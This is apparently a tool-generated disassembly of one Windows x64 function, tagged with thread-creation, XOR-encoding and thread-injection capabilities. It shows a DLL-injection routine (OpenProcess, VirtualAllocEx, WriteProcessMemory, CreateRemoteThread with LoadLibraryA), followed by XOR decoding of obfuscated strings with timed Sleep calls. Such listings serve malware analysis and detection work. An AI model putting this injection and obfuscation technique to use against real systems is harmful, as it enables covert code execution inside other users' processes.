Function at 0x140057090
Capabilities:
Create thread
Encode data using xor
Inject thread

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov r14, rdx
xor ebx, ebx
call fcn.140056f30
test eax, eax
jne 0x1400570bb
add rsp, 0x90
pop r14
pop rbx
pop rbp
ret
mov qword [rsp + 0xb0], rsi
mov r8d, eax
mov qword [rsp + 0xb8], rdi
xor edx, edx
mov ecx, 0x1fffff
mov qword [rsp + 0xc8], r15
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov rdi, 0xffffffffffffffff
test rax, rax
je 0x14005718a
cmp rax, rdi
je 0x140057181
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov r9, rdi
nop
inc r9
cmp byte [r14 + r9], bl
jne 0x140057130
inc r9
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140057181
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [str.___kF]
mov r8d, ebx
movups xmm0, xmmword [str.8zZ_STLe]
mov r15d, dword [reloc.WS2_32.dll_accept]
mov dword [rbp + 0x27], eax
movzx eax, byte [0x1400dcdd4]
mov byte [rbp + 0x2b], al
movaps xmmword [rsp + 0x80], xmm6
movups xmmword [rbp + 0x17], xmm0
cmp r15d, 2
jl 0x1400572ff
movdqa xmm0, xmmword [0x1400dfef0]
lea rcx, [rbp + 0x1b]
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmmword [rbp - 9], xmm0
mov edx, dword [rbp - 9]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400571f0
cmp r8d, 0x15
jge 0x140057344
movsxd rax, r8d
lea r9, [rbp + 0x17]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140057310
mov rdx, qword [0x140158348]
lea rax, [rbp + 0x17]
mov rcx, rdi
inc rcx
cmp byte [rax + rcx], bl
jne 0x140057352
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x14005788c
cmp qword [0x140158350], 0xf
lea rax, [rbp + 0x17]
mov qword [rsp + 0x30], rcx
lea r14, [0x140158338]
mov qword [rsp + 0x28], rax
lea rcx, [rbp - 9]
mov r9, r14
mov qword [rsp + 0x20], rdx
cmova r9, qword [0x140158338]
call fcn.14007f430
mov rdx, qword [0x140158350]
cmp rdx, 0xf
jbe 0x1400573ea
mov rcx, qword [0x140158338]
inc rdx
cmp rdx, 0x1000
jb 0x1400573e5
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140057885
mov rcx, r8
call fcn.14008b0bc
mov eax, dword [0x1400de4f8]
mov r8d, ebx
movups xmm0, xmmword [rbp - 9]
mov dword [rbp - 1], eax
movzx eax, byte [0x1400de4fc]
mov byte [rbp + 3], al
movups xmm6, xmmword [rbp + 7]
movups xmmword [0x140158338], xmm0
movsd xmm0, qword [str.8pUYZ]
movsd qword [rbp - 9], xmm0
movups xmmword [0x140158348], xmm6
cmp r15d, 2
jl 0x140057534
movdqa xmm2, xmmword [0x1400dfdd0]
mov r8d, 8
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm0, xmm2
mov eax, dword [0x1400dfef0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.8pUYZ]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 9], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
movd xmm1, dword [rbp - 5]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 5], xmm2
movsxd rax, r8d
lea r9, [rbp - 9]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140057540
movq rdx, xmm6
lea rax, [rbp - 9]
mov rcx, rdi
inc rcx
cmp byte [rax + rcx], bl
jne 0x140057580
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x14005788c
cmp qword [0x140158350], 0xf
lea rax, [rbp - 9]
mov qword [rsp + 0x30], rcx
mov r9, r14
cmova r9, qword [0x140158338]
lea rcx, [rbp + 0x17]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
call fcn.14007f430
mov rdx, qword [0x140158350]
cmp rdx, 0xf
jbe 0x140057607
mov rcx, qword [0x140158338]
inc rdx
cmp rdx, 0x1000
jb 0x140057602
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140057885
mov rcx, r8
call fcn.14008b0bc
movups xmm0, xmmword [rbp + 0x17]
mov ecx, 0xbb8
movups xmm1, xmmword [rbp + 0x27]
movups xmmword [0x140158338], xmm0
movups xmmword [0x140158348], xmm1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.iN_XML_]
movsd xmm0, qword [0x1400dcb90]
mov dword [rbp - 1], eax
movzx eax, word [0x1400dcb9c]
mov word [rbp + 3], ax
movzx eax, byte [0x1400dcb9e]
mov byte [rbp + 5], al
movsd qword [rbp - 9], xmm0
cmp r15d, 2
jl 0x140057763
movdqa xmm2, xmmword [0x1400dfdd0]
mov ebx, 8
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm0, xmm2
mov eax, dword [0x1400dfef0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400dcb90]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 9], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
movd xmm1, dword [rbp - 5]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 5], xmm2
movsxd rax, ebx
lea r8, [rbp - 9]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
inc ebx
sub al, cl
add al, 0x32
xor byte [r8 - 1], al
cmp ebx, 0xf
jl 0x140057770
mov rax, qword [0x140158348]
lea rcx, [rbp - 9]
nop word [rax + rax]
inc rdi
cmp byte [rcx + rdi], 0
jne 0x1400577b0
sub rsi, rax
cmp rsi, rdi
jb 0x14005788c
cmp qword [0x140158350], 0xf
lea rcx, [rbp - 9]
mov qword [rsp + 0x30], rdi
cmova r14, qword [0x140158338]
mov qword [rsp + 0x28], rcx
mov r9, r14
lea rcx, [rbp + 0x17]
mov qword [rsp + 0x20], rax
call fcn.14007f430
mov rdx, qword [0x140158350]
cmp rdx, 0xf
jbe 0x140057831
mov rcx, qword [0x140158338]
inc rdx
cmp rdx, 0x1000
jb 0x14005782c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140057885
mov rcx, r8
call fcn.14008b0bc
movups xmm0, xmmword [rbp + 0x17]
mov ecx, 0x1388
movups xmm1, xmmword [rbp + 0x27]
movups xmmword [0x140158338], xmm0
movups xmmword [0x140158348], xmm1
call qword [sym.imp.KERNEL32.dll_Sleep]
movaps xmm6, xmmword [rsp + 0x80]
mov rdi, qword [rsp + 0xb8]
mov rsi, qword [rsp + 0xb0]
mov r15, qword [rsp + 0xc8]
mov byte [0x140126f9a], 0
add rsp, 0x90
pop r14
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140040f40
int3